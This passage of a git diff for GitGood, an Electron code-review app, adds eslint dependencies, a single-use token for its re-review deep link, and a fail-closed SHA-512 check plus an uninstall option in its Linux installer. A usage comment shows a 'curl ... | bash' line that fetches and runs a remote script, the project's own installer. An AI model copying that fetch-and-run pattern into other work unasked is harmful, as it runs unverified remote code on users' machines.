"https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz", @@ -3386,6 +4051,20 @@ "dev": true, "license": "MIT" }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "dev": true, + "license": "MIT" + }, "node_modules/fast-sha256": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/fast-sha256/-/fast-sha256-1.3.0.tgz", @@ -3427,6 +4106,16 @@ } } }, + "node_modules/file-entry-cache": { + "version": "11.1.5", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-11.1.5.tgz", + "integrity": "sha512-+PFTHITI08JIGhnNpGNI8T8inUpgZfk3GNEqfT9R2zZV2iFXg3CvqzSl/uEhs7TSGujYRELEANyDvS8Fj7+S7Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "flat-cache": "^6.1.23" + } + }, "node_modules/filelist": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.6.tgz", @@ -3467,6 +4156,42 @@ "node": ">=10" } }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat-cache": { + "version": "6.1.23", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-6.1.23.tgz", + "integrity": "sha512-f++BY9pTk+983xK1FLzlLpmM0i0z+jHmx3QESGkURMXujQZz1k5wzwX6hjnQ8goaD0B+sYnDK1yZ6MTyZfUaqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "cacheable": "^2.5.0", + "flatted": "^3.4.2", + "hookified": "^1.15.0" + } + }, + "node_modules/flatted": { + "version": "3.4.4", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.4.tgz", + "integrity": "sha512-5+ybhBZANEJxaH3X5evAFatUxLfEHSr7n6kYJ+1Qd0mUqr4eu9gIf6GDbWHf8RJijHrjjO8G+la14SlL2SeS1Q==", + "dev": true, + "license": "ISC" + }, "node_modules/form-data": { "version": "4.0.6", "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", @@ -3627,6 +4352,19 @@ "url": "https://github.com/sponsors/isaacs" } }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, "node_modules/glob/node_modules/balanced-match": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", @@ -3807,6 +4545,19 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/hashery": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/hashery/-/hashery-1.5.1.tgz", + "integrity": "sha512-iZyKG96/JwPz1N55vj2Ie2vXbhu440zfUfJvSwEqEbeLluk7NnapfGqa7LH0mOsnDxTF85Mx8/dyR6HfqcbmbQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "hookified": "^1.15.0" + }, + "engines": { + "node": ">=20" + } + }, "node_modules/hasown": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", @@ -3820,6 +4571,23 @@ "node": ">= 0.4" } }, + "node_modules/hermes-estree": { + "version": "0.25.1", + "resolved": "https://registry.npmjs.org/hermes-estree/-/hermes-estree-0.25.1.tgz", + "integrity": "sha512-0wUoCcLp+5Ev5pDW2OriHC2MJCbwLwuRx+gAqMTOkGKJJiBCLjtrvy4PWUGn6MIVefecRpzoOZ/UV6iGdOr+Cw==", + "dev": true, + "license": "MIT" + }, + "node_modules/hermes-parser": { + "version": "0.25.1", + "resolved": "https://registry.npmjs.org/hermes-parser/-/hermes-parser-0.25.1.tgz", + "integrity": "sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "hermes-estree": "0.25.1" + } + }, "node_modules/highlight.js": { "version": "11.12.0", "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-11.12.0.tgz", @@ -3829,6 +4597,13 @@ "node": ">=12.0.0" } }, + "node_modules/hookified": { + "version": "1.15.1", + "resolved": "https://registry.npmjs.org/hookified/-/hookified-1.15.1.tgz", + "integrity": "sha512-MvG/clsADq1GPM2KGo2nyfaWVyn9naPiXrqIe4jYjXNZQt238kWyOGrsyc/DmRAQ+Re6yeo6yX/yoNCG5KAEVg==", + "dev": true, + "license": "MIT" + }, "node_modules/hosted-git-info": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", @@ -3911,6 +4686,26 @@ "node": ">= 14" } }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, "node_modules/inflight": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", @@ -3930,6 +4725,16 @@ "dev": true, "license": "ISC" }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/is-fullwidth-code-point": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", @@ -3940,6 +4745,19 @@ "node": ">=8" } }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/isarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", @@ -4067,6 +4885,13 @@ "dev": true, "license": "MIT" }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true, + "license": "MIT" + }, "node_modules/json-stringify-safe": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", @@ -4116,6 +4941,36 @@ "integrity": "sha512-0/BnGCCfyUMkBpeDgWihanIAF9JmZhHBgUhEqzvf+adhNGLoP6TaiI5oF8oyb3I45P+PcnrqihSf01M0l0G5+Q==", "license": "MIT" }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/lodash": { "version": "4.18.1", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", @@ -4324,6 +5179,13 @@ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" } }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true, + "license": "MIT" + }, "node_modules/node-abi": { "version": "4.35.0", "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-4.35.0.tgz", @@ -4538,6 +5400,24 @@ "wrappy": "1" } }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, "node_modules/p-cancelable": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", @@ -4564,6 +5444,32 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, "node_modules/path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", @@ -4724,6 +5630,16 @@ "node": "^12.20.0 || >=14" } }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, "node_modules/proc-log": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/proc-log/-/proc-log-6.1.0.tgz", @@ -4788,6 +5704,16 @@ "once": "^1.3.1" } }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, "node_modules/pvtsutils": { "version": "1.3.6", "resolved": "https://registry.npmjs.org/pvtsutils/-/pvtsutils-1.3.6.tgz", @@ -4808,6 +5734,26 @@ "node": ">=16.0.0" } }, + "node_modules/qified": { + "version": "0.10.1", + "resolved": "https://registry.npmjs.org/qified/-/qified-0.10.1.tgz", + "integrity": "sha512-+Owyggi9IxT1ePKGafcI87ubSmxol6smwJ+RAHDQlx9+9cPwFWDiKFFCPuWhr9ignlGpZ9vDQLw67N4dcTVFEA==", + "dev": true, + "license": "MIT", + "dependencies": { + "hookified": "^2.1.1" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/qified/node_modules/hookified": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/hookified/-/hookified-2.2.0.tgz", + "integrity": "sha512-p/LgFzRN5FeoD3DLS6bkUapeye6E4SI6yJs6KetENd18S+FBthqYq2amJUWpt5z0EQwwHemidjY5OqJGEKm5uA==", + "dev": true, + "license": "MIT" + }, "node_modules/quick-lru": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", @@ -5448,6 +6394,19 @@ "integrity": "sha512-FPAhNPFMrkwz76P7cdjdmiShwMynZYN6SgOujD1urY4oNm80Ou9oMdmbR45LotcKOXoy7wSmHkRFE6Mxbrhefw==", "license": "MIT" }, + "node_modules/ts-api-utils": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.5.0.tgz", + "integrity": "sha512-OJ/ibxhPlqrMM0UiNHJ/0CKQkoKF243/AEmplt3qpRgkW8VG7IfOS41h7V8TjITqdByHzrjcS/2si+y4lIh8NA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.12" + }, + "peerDependencies": { + "typescript": ">=4.8.4" + } + }, "node_modules/tslib": { "version": "2.8.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", @@ -5455,6 +6414,19 @@ "dev": true, "license": "0BSD" }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, "node_modules/type-fest": { "version": "0.13.1", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", @@ -5570,6 +6542,16 @@ "browserslist": ">= 4.21.0" } }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, "node_modules/utf8-byte-length": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/utf8-byte-length/-/utf8-byte-length-1.0.5.tgz", @@ -6283,6 +7265,16 @@ "node": ">=8" } }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/wrap-ansi": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", @@ -6376,6 +7368,29 @@ "funding": { "url": "https://github.com/sponsors/sindresorhus" } + }, + "node_modules/zod": { + "version": "4.6.5", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.6.5.tgz", + "integrity": "sha512-v5l/aFXZQeai4awLbOpSoHecE9UiMrnfx75tEXLjNonXVARxQ5mOeipTjROUchszUNCqnE+hqAMujRsRHsut2Q==", + "devOptional": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, + "node_modules/zod-validation-error": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/zod-validation-error/-/zod-validation-error-4.0.2.tgz", + "integrity": "sha512-Q6/nZLe6jxuU80qb/4uJ4t5v2VEZ44lzQjPDhYJNztRQ4wyWc6VF3D3Kb/fAuPetZQnhS3hnajCf9CsWesghLQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.0.0" + }, + "peerDependencies": { + "zod": "^3.25.0 || ^4.0.0" + } } } } diff --git a/package.json b/package.json index 9c7d2d8..75c676a 100644 --- a/package.json +++ b/package.json @@ -6,6 +6,9 @@ "author": "Erwin Wee", "license": "MIT", "private": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, "homepage": "https://github.com/erwin-wee/gitgood", "scripts": { "dev": "electron-vite dev", @@ -21,8 +24,8 @@ "test:unit": "vitest run --project unit", "test:fixture": "vitest run --project fixture", "test:smoke": "node scripts/smoke.mjs", - "lint": "npm run typecheck", - "dist:win": "npm run build && electron-builder --win --x64", + "lint": "eslint . && npm run typecheck", + "dist:win": "npm run build && electron-builder --win", "dist:linux": "npm run build && electron-builder --linux", "dist:mac": "npm run build && electron-builder --mac", "postinstall": "electron-builder install-app-deps", @@ -30,7 +33,7 @@ "release:tag": "node scripts/release.mjs tag" }, "dependencies": { - "@anthropic-ai/sdk": "^0.126.0", + "@anthropic-ai/sdk": "^0.131.0", "electron-updater": "6.8.9", "highlight.js": "^11.12.0", "react": "^19.3.0", @@ -40,10 +43,13 @@ "@types/node": "^24.0.0", "@types/react": "^19.3.0", "@types/react-dom": "^19.3.0", + "@typescript-eslint/parser": "^8.71.0", "@vitejs/plugin-react": "^5.1.0", - "electron": "^44.4.1", + "electron": "^44.5.1", "electron-builder": "^26.15.3", "electron-vite": "^5.0.0", + "eslint": "^10.11.0", + "eslint-plugin-react-hooks": "^7.1.1", "typescript": "^5.9.0", "vite": "^7.3.0", "vitest": "^5.0.1" diff --git a/plugin/README.md b/plugin/README.md index a941de4..a34a2e4 100644 --- a/plugin/README.md +++ b/plugin/README.md @@ -37,6 +37,6 @@ The exported `latest.md` starts with the same instructions as the skill, so any ## Re-review -After a **pre-commit** review the agent finishes by opening `gitgood://review/rerun?repo=` (the exact command is in `latest.json` under `rerun.command`). GitGood, if running with that repository in its list, re-runs the review over the working tree and rewrites `latest.json` with a new `runId` whose `previousRunId` points at the run the agent worked from. +After a **pre-commit** review the agent finishes by opening `gitgood://review/rerun?repo=&token=` (the exact command is in `latest.json` under `rerun.command`). GitGood, if running with that repository in its list, re-runs the review (a link without a valid, unspent token first asks the user to confirm the repository and files) over the working tree and rewrites `latest.json` with a new `runId` whose `previousRunId` points at the run the agent worked from. After a **pull request or branch** review, `rerun` is `null` and the agent stops instead: those reviews read committed history, so they cannot see edits still in the working tree. Commit the agent's changes in GitGood and press Re-review. diff --git a/plugin/skills/gitgood-review/SKILL.md b/plugin/skills/gitgood-review/SKILL.md index 72831eb..7eb624c 100644 --- a/plugin/skills/gitgood-review/SKILL.md +++ b/plugin/skills/gitgood-review/SKILL.md @@ -38,7 +38,7 @@ If `latest.json` is missing, tell the user that GitGood has not exported a revie "confidence": "high" | "medium" | "low", "dismissed": false // true = the user dismissed it; skip these }], - "rerun": { "url": "gitgood://review/rerun?repo=…", "command": "xdg-open '…'" } // null for a pull request or branch review + "rerun": { "url": "gitgood://review/rerun?repo=…&token=…", "command": "xdg-open '…'" } // null for a pull request or branch review } ``` @@ -54,7 +54,7 @@ Findings are already sorted blocker → warning → nit, then by path and line. - Keep edits minimal and scoped to the finding. 4. **Do not commit, stage, stash, amend, rebase or push.** The user commits from GitGood. Read-only git commands are fine. 5. What to do when you are done depends on `rerun`: - - **`rerun` is an object** (a pre-commit review, `target.kind` is `worktree`): run the command in `rerun.command`. It opens the `gitgood://review/rerun?repo=…` URL — `xdg-open` on Linux, `open` on macOS, `Start-Process` in PowerShell, `start "" ""` in Command Prompt. GitGood must be running with this repository in its list; if the command errors or nothing happens within a few seconds, tell the user to press Re-review in GitGood. + - **`rerun` is an object** (a pre-commit review, `target.kind` is `worktree`): run the command in `rerun.command`. It opens the `gitgood://review/rerun?repo=…&token=…` URL (run the command exactly as written; the token is single-use and GitGood asks the user to confirm when it is missing or already spent) — `xdg-open` on Linux, `open` on macOS, `Start-Process` in PowerShell, `start "" ""` in Command Prompt. GitGood must be running with this repository in its list; if the command errors or nothing happens within a few seconds, tell the user to press Re-review in GitGood. - **`rerun` is null** (a pull request or branch review): do **not** try to trigger a re-review. That review reads committed history, so it would report the same findings however much you fixed. List what you changed per finding and tell the user to commit in GitGood and press Re-review. You are done. 6. After triggering a re-review, poll `latest.json` every few seconds for up to two minutes, until `runId` differs from the one you started with and `finishedAt` is not null. 7. **Re-read `latest.json`.** Finding ids are not stable across runs, so compare by `path` and `title`, not by `id`. Report which of the original findings are gone, which remain (and why, if you skipped them), and anything new the re-review raised. If the new run's `target` differs from the one you started with (for example GitGood ran a pull request review in between), say so instead of comparing. diff --git a/scripts/install-linux.sh b/scripts/install-linux.sh index dc4eb74..7655256 100755 --- a/scripts/install-linux.sh +++ b/scripts/install-linux.sh @@ -6,7 +6,8 @@ # # Usage: # curl -fsSL https://raw.githubusercontent.com/erwin-wee/gitgood/main/scripts/install-linux.sh | bash -# ./install-linux.sh [--version vX.Y.Z] [--prefix DIR] [--no-prereqs] [-y|--yes] [-h|--help] +# ./install-linux.sh [--version vX.Y.Z] [--prefix DIR] [--no-prereqs] [-y|--yes] [--insecure-skip-verify] [-h|--help] +# ./install-linux.sh --uninstall [--prefix DIR] set -euo pipefail @@ -17,6 +18,8 @@ DESKTOP_DIR="$HOME/.local/share/applications" GITGOOD_VERSION="" INSTALL_PREREQS=1 ASSUME_YES=0 +SKIP_VERIFY=0 +UNINSTALL=0 # Piped via `curl ... | bash`: stdin is the script itself, so there is no # terminal to prompt on. Default to non-interactive in that case. if [ ! -t 0 ]; then ASSUME_YES=1; fi @@ -33,6 +36,11 @@ Usage: install-linux.sh [options] --prefix DIR Install under DIR instead of ~/.local/share/GitGood --no-prereqs Skip installing git/gh/the AppImage runtime dependency -y, --yes Don't prompt before installing packages with sudo + --insecure-skip-verify + Install even if the download's SHA-512 cannot be checked + against the release's latest-linux.yml (default: refuse) + --uninstall Remove the AppImage, the `gitgood` command and the menu + entry this script installed (user settings are kept) -h, --help Show this help EOF } @@ -43,6 +51,8 @@ while [ $# -gt 0 ]; do --prefix) PREFIX="$2"; shift 2 ;; --no-prereqs) INSTALL_PREREQS=0; shift ;; -y|--yes) ASSUME_YES=1; shift ;; + --insecure-skip-verify) SKIP_VERIFY=1; shift ;; + --uninstall) UNINSTALL=1; shift ;; -h|--help) usage; exit 0 ;; *) die "unknown option: $1 (see --help)" ;; esac @@ -50,6 +60,17 @@ done [ "$(uname -s)" = "Linux" ] || die "this script only supports Linux" +if [ "$UNINSTALL" -eq 1 ]; then + INSTALLED_PATH="$PREFIX/GitGood.AppImage" + # Only remove the command if it is the symlink this script made. + if [ "$(readlink "$BIN_DIR/gitgood" 2>/dev/null)" = "$INSTALLED_PATH" ]; then rm -f "$BIN_DIR/gitgood"; fi + rm -f "$INSTALLED_PATH" "$DESKTOP_DIR/gitgood.desktop" + rmdir "$PREFIX" 2>/dev/null || true + command -v update-desktop-database >/dev/null 2>&1 && update-desktop-database "$DESKTOP_DIR" >/dev/null 2>&1 || true + log "Removed GitGood from $PREFIX (settings in ~/.config/GitGood and installed git/gh packages were left alone)." + exit 0 +fi + DOWNLOADER="" if command -v curl >/dev/null 2>&1; then DOWNLOADER="curl" elif command -v wget >/dev/null 2>&1; then DOWNLOADER="wget" @@ -200,27 +221,48 @@ WORKDIR="$(mktemp -d)" trap 'rm -rf "$WORKDIR"' EXIT fetch_to_file "$APPIMAGE_URL" "$WORKDIR/$APPIMAGE_NAME" -# Best-effort integrity check against electron-builder's own manifest; a -# missing yml, an unparseable one, or no openssl just skips verification -# rather than failing the install outright. -if [ -n "$YML_URL" ] && command -v openssl >/dev/null 2>&1; then - if fetch_to_file "$YML_URL" "$WORKDIR/latest-linux.yml" 2>/dev/null; then - EXPECTED_SHA512="$(grep -E '^sha512:' "$WORKDIR/latest-linux.yml" | tail -1 | sed -E "s/^sha512:[[:space:]]*['\"]?([^'\"]+)['\"]?\$/\1/")" - if [ -n "$EXPECTED_SHA512" ]; then - ACTUAL_SHA512="$(openssl dgst -sha512 -binary "$WORKDIR/$APPIMAGE_NAME" | openssl base64 -A)" - if [ "$EXPECTED_SHA512" = "$ACTUAL_SHA512" ]; then - log "Checksum verified against $TAG_NAME's latest-linux.yml." - else - die "checksum mismatch for $APPIMAGE_NAME — refusing to install a corrupted or tampered download" - fi - else - warn "could not parse a sha512 from latest-linux.yml; skipping checksum verification" - fi - else - warn "could not download latest-linux.yml; skipping checksum verification" +# Integrity check against electron-builder's manifest (the sha512 of this exact +# file in latest-linux.yml). Fails closed: if it cannot be verified the install +# stops, unless --insecure-skip-verify was passed. +unverified() { # unverified REASON + if [ "$SKIP_VERIFY" -eq 1 ]; then warn "$1; installing unverified (--insecure-skip-verify)" + else die "$1 — refusing to install an unverified download (re-run with --insecure-skip-verify to override)" fi +} + +# Digests are compared as hex: coreutils sha512sum/base64/od, or openssl if those are missing. +sha512_hex() { # sha512_hex FILE + if command -v sha512sum >/dev/null 2>&1; then sha512sum "$1" | cut -d' ' -f1 + elif command -v openssl >/dev/null 2>&1; then openssl dgst -sha512 -r "$1" | cut -d' ' -f1 + else return 1 + fi +} + +base64_to_hex() { # base64_to_hex STRING + if command -v base64 >/dev/null 2>&1; then printf '%s' "$1" | base64 -d | od -An -vtx1 | tr -d ' \n' + elif command -v openssl >/dev/null 2>&1; then printf '%s' "$1" | openssl base64 -d -A | od -An -vtx1 | tr -d ' \n' + else return 1 + fi +} + +if [ -z "$YML_URL" ]; then + unverified "release $TAG_NAME has no latest-linux.yml" +elif ! fetch_to_file "$YML_URL" "$WORKDIR/latest-linux.yml" 2>/dev/null; then + unverified "could not download latest-linux.yml" else - warn "openssl not found or no manifest available; skipping checksum verification" + # The manifest lists every file ("- url: NAME" then "sha512: DIGEST"); match ours by name. + EXPECTED_SHA512="$(awk -v n="$APPIMAGE_NAME" ' + $1 == "-" && $2 == "url:" { u = $3; gsub(/["'"'"']/, "", u); hit = (u == n) } + hit && $1 == "sha512:" { v = $2; gsub(/["'"'"']/, "", v); print v; exit }' "$WORKDIR/latest-linux.yml")" + if [ -z "$EXPECTED_SHA512" ]; then + unverified "latest-linux.yml has no sha512 for $APPIMAGE_NAME" + elif ! ACTUAL_SHA512="$(sha512_hex "$WORKDIR/$APPIMAGE_NAME")" || ! EXPECTED_HEX="$(base64_to_hex "$EXPECTED_SHA512")"; then + unverified "could not compute or decode the sha512 (need sha512sum+base64 or openssl)" + elif [ -n "$EXPECTED_HEX" ] && [ "$EXPECTED_HEX" = "$ACTUAL_SHA512" ]; then + log "Checksum verified against $TAG_NAME's latest-linux.yml." + else + die "checksum mismatch for $APPIMAGE_NAME — refusing to install a corrupted or tampered download" + fi fi # --------------------------------------------------------------------------- diff --git a/scripts/install-service.mjs b/scripts/install-service.mjs index 145eb45..f9311e8 100755 --- a/scripts/install-service.mjs +++ b/scripts/install-service.mjs @@ -7,6 +7,11 @@ import { homedir } from 'node:os'; import { dirname, join, resolve } from 'node:path'; import { fileURLToPath } from 'node:url'; +if (process.platform !== 'linux') { + console.error('npm run install:service installs a systemd user service (Linux only). On macOS/Windows use File → Run GitGood server in the background… in the packaged app, or run "npm run start:server".'); + process.exit(1); +} + const root = resolve(dirname(fileURLToPath(import.meta.url)), '..'); const entry = join(root, 'out', 'server', 